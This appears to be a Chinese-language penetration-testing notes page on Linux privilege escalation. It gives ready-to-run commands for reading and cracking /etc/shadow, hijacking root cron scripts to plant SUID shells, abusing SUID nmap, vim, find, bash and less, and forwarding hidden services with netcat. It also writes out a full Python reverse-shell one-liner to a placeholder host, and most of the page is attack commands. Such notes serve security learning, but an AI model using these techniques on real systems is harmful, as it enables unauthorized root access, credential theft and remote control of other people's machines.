常见的linux提权
内核漏洞提权
查看发行版
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
查看已经安装的程序
dpkg -l
rpm -qa
通过一些现有的exp,上传到目标主机,执行exp,直接获取root权限
github地址https://github.com/SecWiki/linux-kernel-exploits
明文root密码权限
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的
典型的etc/passwd文件
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash
典型etc/shadow文件
root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7:::
bin:*:15730:0:99999:7:::
sys:*:15730:0:99999:7:::
sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7:::
查看权限
ls -l passwd shadow
如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。
SUDO提权
在之前的Acid靶机渗透中提到
有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。
python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data:
计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
ls -l /etc/cron*
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
打个比方,管理员设置了一个计划任务,定时使用clean,py清理文件。并且设置权限如下:
方法一:
我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限
cd /tmp
ls
./sh
id
whoami
方法二:
替换
os.system(‘chmod u+s /bin/dash)
一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。
/bin/dash
id
whoami
方法三:
在这种方法中,我们在**rm -r /tmp/***的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。=>直接反弹shell,弹回的是具有root权限的
还有一些方法,在下文的学习链接中,不一一赘述。
SUID提权
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行
为文件附上这样的权限命令:
chmod u+s
或者
chmod 4755
-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
像这样有s标志位的可执行权限的文件,运行后就是以ROOT用户执行
其中,大家熟知的具有提权功能的Linux可执行文件包括:
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
Nmap
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
为了启动交互模式,可以使用Nmap参数“interactive”。
以下命令将提供一个提权后的shell
nmap> !sh
sh-3.2# whoami
root
此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
Find
find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹
py反弹命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
less /etc/passwd
!/bin/sh
劫持环境变量提权
放上文章,自己看不懂
https://www.freebuf.com/articles/system/173903.html
网络与隐藏的服务
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。
netstat -antup#查看各种网络服务
如果找到些神秘的服务,可以用netcat做个转发
mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe
之后找漏洞,攻击,从头再来。
分享一些辅助linux提权的工具(github上都有)
unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
附上学习资料链接:
https://www.cnblogs.com/hookjoy/p/6612595.html 综合
https://www.anquanke.com/post/id/86979 SUID
https://www.freebuf.com/articles/system/173903.html 劫持环境变量提权